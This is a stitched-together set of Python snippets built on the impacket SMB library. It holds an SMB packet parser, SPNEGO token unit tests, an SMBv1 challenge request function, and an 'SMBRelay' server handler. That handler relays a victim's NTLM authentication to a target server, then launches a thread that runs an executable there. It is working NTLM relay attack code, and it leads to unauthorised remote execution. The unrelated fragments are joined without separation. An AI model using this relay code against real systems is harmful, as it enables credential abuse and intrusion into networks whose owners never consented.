def smbComSessionSetupAndX(packet, packetNum, SMBCommand, questions, replies): # Test return code is always 0, otherwise leave before doing anything if packet['ErrorCode'] != 0: if packet['ErrorClass'] != 0x16: return False print "SMB_COM_SESSION_SETUP_ANDX ", try: if (packet['Flags1'] & smb.SMB.FLAGS1_REPLY) == 0: # Query if SMBCommand['WordCount'] == 12: # Extended Security sessionSetupParameters = smb.SMBSessionSetupAndX_Extended_Parameters( SMBCommand['Parameters']) sessionSetupData = smb.SMBSessionSetupAndX_Extended_Data() sessionSetupData[ 'SecurityBlobLength'] = sessionSetupParameters[ 'SecurityBlobLength'] sessionSetupData.fromString(SMBCommand['Data']) if struct.unpack('B', sessionSetupData['SecurityBlob'] [0])[0] != smb.ASN1_AID: # If there no GSSAPI ID, it must be an AUTH packet blob = smb.SPNEGO_NegTokenResp( sessionSetupData['SecurityBlob']) token = blob['ResponseToken'] else: # NEGOTIATE packet blob = smb.SPNEGO_NegTokenInit( sessionSetupData['SecurityBlob']) token = blob['MechToken'] messageType = struct.unpack( '<L', token[len('NTLMSSP\x00'):len('NTLMSSP\x00') + 4])[0] if messageType == 0x01: # NEGOTIATE_MESSAGE negotiateMessage = ntlm.NTLMAuthNegotiate() negotiateMessage.fromString(token) elif messageType == 0x03: # AUTHENTICATE_MESSAGE, here we deal with authentication authenticateMessage = ntlm.NTLMAuthChallengeResponse() authenticateMessage.fromString(token) else: # Standard Security sessionSetupParameters = smb.SMBSessionSetupAndX_Parameters( SMBCommand['Parameters']) sessionSetupData = smb.SMBSessionSetupAndX_Data() sessionSetupData['AnsiPwdLength'] = sessionSetupParameters[ 'AnsiPwdLength'] sessionSetupData['UnicodePwdLength'] = sessionSetupParameters[ 'UnicodePwdLength'] sessionSetupData.fromString(SMBCommand['Data']) else: # Response if SMBCommand['WordCount'] == 4: # Extended Security sessionResponse = SMBCommand sessionParameters = smb.SMBSessionSetupAndX_Extended_Response_Parameters( sessionResponse['Parameters']) sessionData = smb.SMBSessionSetupAndX_Extended_Response_Data( flags=packet['Flags2']) sessionData['SecurityBlobLength'] = sessionParameters[ 'SecurityBlobLength'] sessionData.fromString(sessionResponse['Data']) respToken = smb.SPNEGO_NegTokenResp( sessionData['SecurityBlob']) if respToken.fields.has_key('ResponseToken'): # Let's parse some data and keep it to ourselves in case it is asked ntlmChallenge = ntlm.NTLMAuthChallenge( respToken['ResponseToken']) if ntlmChallenge['TargetInfoFields_len'] > 0: infoFields = ntlmChallenge['TargetInfoFields'] av_pairs = ntlm.AV_PAIRS( ntlmChallenge['TargetInfoFields'] [:ntlmChallenge['TargetInfoFields_len']]) if av_pairs[ntlm.NTLMSSP_AV_HOSTNAME] is not None: __server_name = av_pairs[ ntlm.NTLMSSP_AV_HOSTNAME][1].decode('utf-16le') if av_pairs[ntlm.NTLMSSP_AV_DOMAINNAME] is not None: __server_domain = av_pairs[ ntlm.NTLMSSP_AV_DOMAINNAME][1].decode( 'utf-16le') else: # Standard Security sessionResponse = SMBCommand sessionParameters = smb.SMBSessionSetupAndXResponse_Parameters( sessionResponse['Parameters']) sessionData = smb.SMBSessionSetupAndXResponse_Data( flags=packet['Flags2'], data=sessionResponse['Data']) except Exception, e: print "ERROR: %s" % e print "Command: 0x%x" % packet['Command'] print "Packet: %d %r" % (packetNum, packet.getData()) return True
def test_negTokenResp3(self): token = smb.SPNEGO_NegTokenResp() token.fromString(self.negTokenResp3) self.assertTrue(self.negTokenResp3, token.getData())
def request_SMBv1(host, port=445): # start client smb_client = smb.SMB(host, host, sess_port=port) # start: modified from login_standard() # https://github.com/SecureAuthCorp/impacket/blob/master/impacket/smb.py session_setup = smb.SMBCommand(smb.SMB.SMB_COM_SESSION_SETUP_ANDX) session_setup["Parameters"] = smb.SMBSessionSetupAndX_Extended_Parameters() session_setup["Data"] = smb.SMBSessionSetupAndX_Extended_Data() session_setup["Parameters"]["MaxBufferSize"] = 61440 session_setup["Parameters"]["MaxMpxCount"] = 2 session_setup["Parameters"]["VcNumber"] = 1 session_setup["Parameters"]["SessionKey"] = 0 session_setup["Parameters"]["Capabilities"] = ( smb.SMB.CAP_EXTENDED_SECURITY | smb.SMB.CAP_USE_NT_ERRORS | smb.SMB.CAP_UNICODE | smb.SMB.CAP_LARGE_READX | smb.SMB.CAP_LARGE_WRITEX) # NTLMSSP blob = smb.SPNEGO_NegTokenInit() blob["MechTypes"] = [ smb.TypesMech["NTLMSSP - Microsoft NTLM Security Support Provider"] ] auth = ntlm.getNTLMSSPType1(smb_client.get_client_name(), "", smb_client._SignatureRequired, use_ntlmv2=True) blob["MechToken"] = auth.getData() session_setup["Parameters"]["SecurityBlobLength"] = len(blob) session_setup["Parameters"].getData() session_setup["Data"]["SecurityBlob"] = blob.getData() session_setup["Data"]["NativeOS"] = "Unix" session_setup["Data"]["NativeLanMan"] = "Samba" smb_packet = smb.NewSMBPacket() if smb_client._SignatureRequired: smb_packet["Flags2"] |= smb_packet.SMB.FLAGS2_SMB_SECURITY_SIGNATURE smb_packet.addCommand(session_setup) smb_client.sendSMB(smb_packet) smb_response = smb_client.recvSMB() # NTLM challenge if smb_response.isValidAnswer(smb.SMB.SMB_COM_SESSION_SETUP_ANDX): session_response = smb.SMBCommand(smb_response["Data"][0]) session_parameters = smb.SMBSessionSetupAndX_Extended_Response_Parameters( session_response["Parameters"]) session_data = smb.SMBSessionSetupAndX_Extended_Response_Data( flags=smb_response["Flags2"]) session_data["SecurityBlobLength"] = session_parameters[ "SecurityBlobLength"] session_data.fromString(session_response["Data"]) resp_token = smb.SPNEGO_NegTokenResp(session_data["SecurityBlob"]) return resp_token["ResponseToken"] else: return None
def test_negTokenResp4(self): token = smb.SPNEGO_NegTokenResp() token['NegState'] = b'\x03' # request-mic token['SupportedMech'] = smb.TypesMech[ 'NTLMSSP - Microsoft NTLM Security Support Provider'] self.assertEqual(self.negTokenResp4, token.getData())
def test_negTokenResp2(self): token = smb.SPNEGO_NegTokenResp() token.fromString(self.negTokenResp2) self.assertEqual(self.negTokenResp2, token.getData())
def SmbSessionSetupAndX(self, connId, smbServer, SMBCommand, recvPacket): connData = smbServer.getConnectionData(connId, checkStatus = False) ############################################################# # SMBRelay smbData = smbServer.getConnectionData('SMBRelay', False) ############################################################# respSMBCommand = smb.SMBCommand(smb.SMB.SMB_COM_SESSION_SETUP_ANDX) if connData['_dialects_parameters']['Capabilities'] & smb.SMB.CAP_EXTENDED_SECURITY: # Extended security. Here we deal with all SPNEGO stuff respParameters = smb.SMBSessionSetupAndX_Extended_Response_Parameters() respData = smb.SMBSessionSetupAndX_Extended_Response_Data() sessionSetupParameters = smb.SMBSessionSetupAndX_Extended_Parameters(SMBCommand['Parameters']) sessionSetupData = smb.SMBSessionSetupAndX_Extended_Data() sessionSetupData['SecurityBlobLength'] = sessionSetupParameters['SecurityBlobLength'] sessionSetupData.fromString(SMBCommand['Data']) connData['Capabilities'] = sessionSetupParameters['Capabilities'] if struct.unpack('B',sessionSetupData['SecurityBlob'][0])[0] != smb.ASN1_AID: # If there no GSSAPI ID, it must be an AUTH packet blob = smb.SPNEGO_NegTokenResp(sessionSetupData['SecurityBlob']) token = blob['ResponseToken'] else: # NEGOTIATE packet blob = smb.SPNEGO_NegTokenInit(sessionSetupData['SecurityBlob']) token = blob['MechToken'] # Here we only handle NTLMSSP, depending on what stage of the # authentication we are, we act on it messageType = struct.unpack('<L',token[len('NTLMSSP\x00'):len('NTLMSSP\x00')+4])[0] if messageType == 0x01: # NEGOTIATE_MESSAGE negotiateMessage = ntlm.NTLMAuthNegotiate() negotiateMessage.fromString(token) # Let's store it in the connection data connData['NEGOTIATE_MESSAGE'] = negotiateMessage ############################################################# # SMBRelay: Ok.. So we got a NEGOTIATE_MESSAGE from a client. # Let's send it to the target server and send the answer back to the client. smbClient = smbData[self.target]['SMBClient'] clientChallengeMessage = smbClient.sendNegotiate(token) challengeMessage = ntlm.NTLMAuthChallenge() challengeMessage.fromString(clientChallengeMessage) ############################################################# respToken = smb.SPNEGO_NegTokenResp() # accept-incomplete. We want more data respToken['NegResult'] = '\x01' respToken['SupportedMech'] = smb.TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider'] respToken['ResponseToken'] = str(challengeMessage) # Setting the packet to STATUS_MORE_PROCESSING errorCode = STATUS_MORE_PROCESSING_REQUIRED # Let's set up an UID for this connection and store it # in the connection's data # Picking a fixed value # TODO: Manage more UIDs for the same session connData['Uid'] = 10 # Let's store it in the connection data connData['CHALLENGE_MESSAGE'] = challengeMessage elif messageType == 0x03: # AUTHENTICATE_MESSAGE, here we deal with authentication authenticateMessage = ntlm.NTLMAuthChallengeResponse() authenticateMessage.fromString(token) ############################################################# # SMBRelay: Ok, so now the have the Auth token, let's send it # back to the target system and hope for the best. smbClient = smbData[self.target]['SMBClient'] authData = sessionSetupData['SecurityBlob'] clientResponse, errorCode = smbClient.sendAuth(sessionSetupData['SecurityBlob']) if errorCode != STATUS_SUCCESS: # Let's return what the target returned, hope the client connects back again packet = smb.NewSMBPacket() packet['Flags1'] = smb.SMB.FLAGS1_REPLY | smb.SMB.FLAGS1_PATHCASELESS packet['Flags2'] = smb.SMB.FLAGS2_NT_STATUS | SMB.FLAGS2_EXTENDED_SECURITY packet['Command'] = recvPacket['Command'] packet['Pid'] = recvPacket['Pid'] packet['Tid'] = recvPacket['Tid'] packet['Mid'] = recvPacket['Mid'] packet['Uid'] = recvPacket['Uid'] packet['Data'] = '\x00\x00\x00' packet['ErrorCode'] = errorCode >> 16 packet['ErrorClass'] = errorCode & 0xff # Reset the UID smbClient.setUid(0) return None, [packet], errorCode else: # We have a session, create a thread and do whatever we want del (smbData[self.target]) clientThread = doAttack(smbClient,self.exeFile) clientThread.start() # Now continue with the server ############################################################# respToken = smb.SPNEGO_NegTokenResp() # accept-completed respToken['NegResult'] = '\x00' # Status SUCCESS errorCode = STATUS_SUCCESS # Let's store it in the connection data connData['AUTHENTICATE_MESSAGE'] = authenticateMessage else: raise("Unknown NTLMSSP MessageType %d" % messageType) respParameters['SecurityBlobLength'] = len(respToken) respData['SecurityBlobLength'] = respParameters['SecurityBlobLength'] respData['SecurityBlob'] = respToken.getData() else: # Process Standard Security respParameters = smb.SMBSessionSetupAndXResponse_Parameters() respData = smb.SMBSessionSetupAndXResponse_Data() sessionSetupParameters = smb.SMBSessionSetupAndX_Parameters(SMBCommand['Parameters']) sessionSetupData = smb.SMBSessionSetupAndX_Data() sessionSetupData['AnsiPwdLength'] = sessionSetupParameters['AnsiPwdLength'] sessionSetupData['UnicodePwdLength'] = sessionSetupParameters['UnicodePwdLength'] sessionSetupData.fromString(SMBCommand['Data']) connData['Capabilities'] = sessionSetupParameters['Capabilities'] ############################################################# # SMBRelay smbClient = smbData[self.target]['SMBClient'] clientResponse, errorCode = smbClient.login_standard(sessionSetupData['Account'], sessionSetupData['PrimaryDomain'], sessionSetupData['AnsiPwd'], sessionSetupData['UnicodePwd']) if errorCode != STATUS_SUCCESS: # Let's return what the target returned, hope the client connects back again packet = smb.NewSMBPacket() packet['Flags1'] = smb.SMB.FLAGS1_REPLY | smb.SMB.FLAGS1_PATHCASELESS packet['Flags2'] = smb.SMB.FLAGS2_NT_STATUS | SMB.FLAGS2_EXTENDED_SECURITY packet['Command'] = recvPacket['Command'] packet['Pid'] = recvPacket['Pid'] packet['Tid'] = recvPacket['Tid'] packet['Mid'] = recvPacket['Mid'] packet['Uid'] = recvPacket['Uid'] packet['Data'] = '\x00\x00\x00' packet['ErrorCode'] = errorCode >> 16 packet['ErrorClass'] = errorCode & 0xff # Reset the UID smbClient.setUid(0) return None, [packet], errorCode # Now continue with the server else: # We have a session, create a thread and do whatever we want del (smbData[self.target]) clientThread = doAttack(smbClient,self.exeFile) clientThread.start() # Remove the target server from our connection list, the work is done # Now continue with the server ############################################################# # Do the verification here, for just now we grant access # TODO: Manage more UIDs for the same session errorCode = STATUS_SUCCESS connData['Uid'] = 10 respParameters['Action'] = 0 respData['NativeOS'] = smbServer.getServerOS() respData['NativeLanMan'] = smbServer.getServerOS() respSMBCommand['Parameters'] = respParameters respSMBCommand['Data'] = respData # From now on, the client can ask for other commands connData['Authenticated'] = True ############################################################# # SMBRelay smbServer.setConnectionData('SMBRelay', smbData) ############################################################# smbServer.setConnectionData(connId, connData) return [respSMBCommand], None, errorCode